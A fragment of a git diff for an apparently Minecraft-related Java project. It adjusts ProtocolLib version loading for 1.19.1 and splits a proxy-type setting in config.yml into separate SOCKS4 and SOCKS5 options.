"ProtocolLib"); - LogUtil.emptyLog(); - - choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); - } - - File dependencyFile = supportLibs.get(dependency); - OtherUtils.loadLibrary(dependencyFile); + if (versionLib.getName().contains("1.19.1")) { + adaptAfter760 = true; } OtherUtils.loadLibrary(versionLib); diff --git a/src/config.yml b/src/config.yml index a62cf06..7f10bb2 100644 --- a/src/config.yml +++ b/src/config.yml @@ -56,7 +56,8 @@ Proxy: GetType: 1 # 代理类型: # 1 - HTTP/HTTPS - # 2 - SOCKS4/SOCKS5 + # 2 - SOCKS4 + # 3 - SOCKS5 ProxyType: 1 UpdateTime: 300 File: "proxies.txt"